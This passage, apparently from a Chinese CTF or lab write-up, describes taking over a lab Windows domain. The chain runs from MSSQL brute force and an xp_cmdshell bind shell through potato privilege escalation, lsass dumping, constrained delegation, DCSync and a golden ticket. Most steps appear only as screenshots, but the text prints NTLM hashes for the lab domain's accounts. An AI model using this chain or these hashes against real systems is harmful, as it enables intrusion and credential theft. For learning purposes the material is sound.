|_ System time: 2021-11-11T13:35:52+08:00
| ms-sql-info:
| 10.10.10.18:1433:
| Version:
| name: Microsoft SQL Server 2008 RTM
| number: 10.00.1600.00
| Product: Microsoft SQL Server 2008
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2021-11-11T05:36:00
|_ start_date: 2021-11-09T08:18:45
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 11 13:35:21 2021 -1 IP address (1 host up) scanned in 1132.14 seconds
既然出题人那么喜欢ms17010,那我也来脚本小子一下,可惜并没有
![null bfe8daa88f83bf1aca0ea5778004c643.png](https://i-blog.csdnimg.cn/blog_migrate/fcbe6bc34e6b38db4b87885388f91744.png)
Try to login SMB shares with anonymous user
![null 34c7b4130d730d38e9b0bafbf5a4e5f1.png](https://i-blog.csdnimg.cn/blog_migrate/c39c4870438c311de1898da3d02664bf.png)
Try to login rpc with anonymous user
![null 609ba619ef9496b7ef4483e79280f8cc.png](https://i-blog.csdnimg.cn/blog_migrate/74095008c55d5c4426ded9b327fd23a9.png)
康康有没有别的ip段,或者看看有没有 IPv6
![null 252072398f56b27302adb9858cf76dc6.png](https://i-blog.csdnimg.cn/blog_migrate/03534b6e7c084b93a0bc32747fe85acb.png)
Port 2383
SQL之类的服务,那么我们现在康康端口80和1433
![null 9cf4fe1d2bc5e6c0d58e71a123a10c4f.png](https://i-blog.csdnimg.cn/blog_migrate/7f367fa32f215f2ac0748cfb2a7e0a29.png)
Port 80
web service directory brute force
![null 6e0ded43892755b1e7c5c355123846af.png](https://i-blog.csdnimg.cn/blog_migrate/7dcf31838759a02a2ee0a2eb9c957cd5.png)
Port 1433
看上去是一个老版本的 SQL Server(没有找 EXP) 尝试mssql爆破,impacket 和 CME 报错了
![null c6dea4eabb6fac1b6dafa867c76ec0d7.png](https://i-blog.csdnimg.cn/blog_migrate/4ada05e2d1e2fd9bd898d5a90483cae7.png)
![null 535cf063e4662bbe57be3d30457360eb.png](https://i-blog.csdnimg.cn/blog_migrate/8dfdeb5469667029268aaee5d5b50bb0.png)
但是失败了
自己写的 MSSQL 爆破工具(找大牛加的多线程) 使用常用 mssql 用户名和密码(From seclist)
![null 5b8ac62333ba270120898459631d4949.png](https://i-blog.csdnimg.cn/blog_migrate/58ea922805c171db02d3659d8c5f4eba.png)
爆破mssql,没有报错(展示)
![null 433824c5464b9f62eeda26f09ee8a29d.png](https://i-blog.csdnimg.cn/blog_migrate/3169419ce5a09390c030d2349cf49156.png)
爆破成功
![null 437e0bc5c2cd9e39037a81791a5ffa14.png](https://i-blog.csdnimg.cn/blog_migrate/0af4e8ab22bce32acf2385ca4771830e.png)
Try to get bind shell
登录,xp_cmdshell
![null 8ffeb6aadf76788ba49db8fddc7d8de5.png](https://i-blog.csdnimg.cn/blog_migrate/71f9665ecc1d3a13c806030ee347c56d.png)
Powershell Bind shell oneliner
![null 2325a041eeb59ea7c18aa055aaed003f.png](https://i-blog.csdnimg.cn/blog_migrate/a299c0a438f8c47c902df1bd06da268c.png)
尝试连接,可以
Privilege escalation
Current privileges
![null 4272f4c0bc089bc08da77f72690e41e1.png](https://i-blog.csdnimg.cn/blog_migrate/0f6b1b1b96cfbc8cf59de9660c598f32.png)
Download potato
![null a7297df6b6b14f5d0e57739ea147e9bd.png](https://i-blog.csdnimg.cn/blog_migrate/53cffc6c91ae269888eac23b840c123b.png)
Upload it
(Sql server 连接脚本自带UPLOAD命令,原理:转b64 locally, 然后切割大小为1024kb,,再回到windows copy合成一份,接着再解密)
![null 47b4a9ddaf8559cdf37ef93bce6167dd.png](https://i-blog.csdnimg.cn/blog_migrate/e6f9fe77706046520d6e559220b13cf9.png)
Try to do privilege escalation and we get system (default clsid)
![null c4f03f282758c94565cf554c75ed3dc3.png](https://i-blog.csdnimg.cn/blog_migrate/2f1d43233b5abae03a435267fba3f53c.png)
Get shell with system privilege
![null 35253583c3c0bb69c948b46ef97e4f42.png](https://i-blog.csdnimg.cn/blog_migrate/e957f27b8849bddfe5f452626438574a.png)
flag
![null 8042f5d4bcecf80355fbd6af9c92e8fa.png](https://i-blog.csdnimg.cn/blog_migrate/09226a140caff1090c88dc42cc58af7b.png)
Get credentials
查看当前进程,当前进程有sqlserver的存在
![null 22e5b13b480e79f96d3914e459f50065.png](https://i-blog.csdnimg.cn/blog_migrate/daa7e0c4d6d34bfe2208a76d1483dc6d.png)
Upload procdump
![null 7ebc02dee2dde2020512e397f9c40bc4.png](https://i-blog.csdnimg.cn/blog_migrate/31d69bfe68380d924ac7128bcba04e3f.png)
dump lsass & hash dump through reg save
![null c28736a5c38f0e7c704075bb612b55be.png](https://i-blog.csdnimg.cn/blog_migrate/f5ce89140692909e974bad40c09c0dcc.png)
开SMB匿名,www目录我放不了文件,不知道为什么,放了进去没读权限,用户下不了。(icacls也试了,不行) 这边就直接绕路,用三好学生的匿名共享脚本 (我自己创建了个本地管理员用户,但是SMB连不上,所以才用匿名共享)
![null 2d2df6afa16aa05bf1ab9efb53b64a0a.png](https://i-blog.csdnimg.cn/blog_migrate/bea277b2e6245f22166163621e79cd05.png)
![null ae46402d21525596d236b556572d550c.png](https://i-blog.csdnimg.cn/blog_migrate/b41df83263c29fa09dd18f4bf1a8c93d.png)
smb 下载文件
![null 3efc7b65e636b635edc42f46f2b4bc9f.png](https://i-blog.csdnimg.cn/blog_migrate/c24d585d74472e9383c51f67139eeb3a.png)
下载完成后,关闭匿名共享
![null 382640ad5ccb89fa348500fe7a1f05d1.png](https://i-blog.csdnimg.cn/blog_migrate/7345366a59a472f91612a97b4fff648b.png)
secretsdump 解开reg save的hashes
![null b6fe80b8e2933c23cb655d7c1ad1fafb.png](https://i-blog.csdnimg.cn/blog_migrate/9f51c292e9858f75e6111b7b57e573f3.png)
解开lsass的dump文件,现在有sqlserver的凭据了
![null 5f9f4a7e38a0b26cc52d0b6e2af640c2.png](https://i-blog.csdnimg.cn/blog_migrate/f914afe1208faa7142b514c95c40eaa7.png)
![null b23bcd1de878581439ab6dbd449f9397.png](https://i-blog.csdnimg.cn/blog_migrate/6dc788e5a76f70c3803d950bf83aa123.png)
sqlserver:6a59bf65a4957ac67e5fb4e1c221939c
Login ldap with user: sqlserver
![null e417d7293b9733c54b17d6e945a49175.png](https://i-blog.csdnimg.cn/blog_migrate/a5dc6e29744eabe367d94612ca902192.png)
0x07 DC takeover
Attack path which I method
User: redteam.red/sqlserver is allow to delegate cifs service of OWA(DC controller)
![null fbace578ecaf4cfbd93c7768730caf85.png](https://i-blog.csdnimg.cn/blog_migrate/4d34b2c306d414a275d63689944d6688.png)
Constrained delegation Attack
![null 1a40e2b657e479d24b2b76c038e35971.png](https://i-blog.csdnimg.cn/blog_migrate/b63c1479d834e6cfef90491473c3142b.png)
DCsync
redteam.red\Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a67f14d5cc4fa22618c8b609e832db6:::
redteam.red\SM_4c09f7e38ef84c22b:1120:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
redteam.red\SM_dfb6b69905864ca19:1121:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
redteam.red\SM_958e768f5a2e4c9fb:1122:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
redteam.red\SM_645db7f160894c7fb:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
redteam.red\mail:1125:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c:::
redteam.red\sqlserver:1126:aad3b435b51404eeaad3b435b51404ee:6a59bf65a4957ac67e5fb4e1c221939c:::
redteam.red\saulgoodman:1128:aad3b435b51404eeaad3b435b51404ee:c0e1f147edf7462134f07e389c5466e2:::
redteam.red\gu:1129:aad3b435b51404eeaad3b435b51404ee:82a28aff9a3be5385b87c4928b54a66f:::
redteam.red\apt404:1130:aad3b435b51404eeaad3b435b51404ee:ba0b26eb2595bc0a639d986537433e5d:::
redteam.red\adduser:1131:aad3b435b51404eeaad3b435b51404ee:168df3659b5f75ab35645606839e5677:::
redteam.red\saul:1135:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c:::
OWA$:1000:aad3b435b51404eeaad3b435b51404ee:8623dc75ede3ca9ec11f2475b12ef96d:::
SQLSERVER-2008$:1127:aad3b435b51404eeaad3b435b51404ee:2dae08cafb67b4537b7d5871084c961d:::
WORK-7$:1138:aad3b435b51404eeaad3b435b51404ee:f085f13639b3de3c78de926c0719d36d:::
Golden ticket
![0da914744aa879824a31f606f9bfb850.png](https://i-blog.csdnimg.cn/blog_migrate/f9428b5ad3cf0416561b293e9858a1f1.png)
Finally
![null c33a612bb46104a8c9cf194e72ac9816.png](https://i-blog.csdnimg.cn/blog_migrate/a5268778b8f9b68663d20e8634e6ffb2.png)
来和20000+位同学加入MS08067一起学习吧!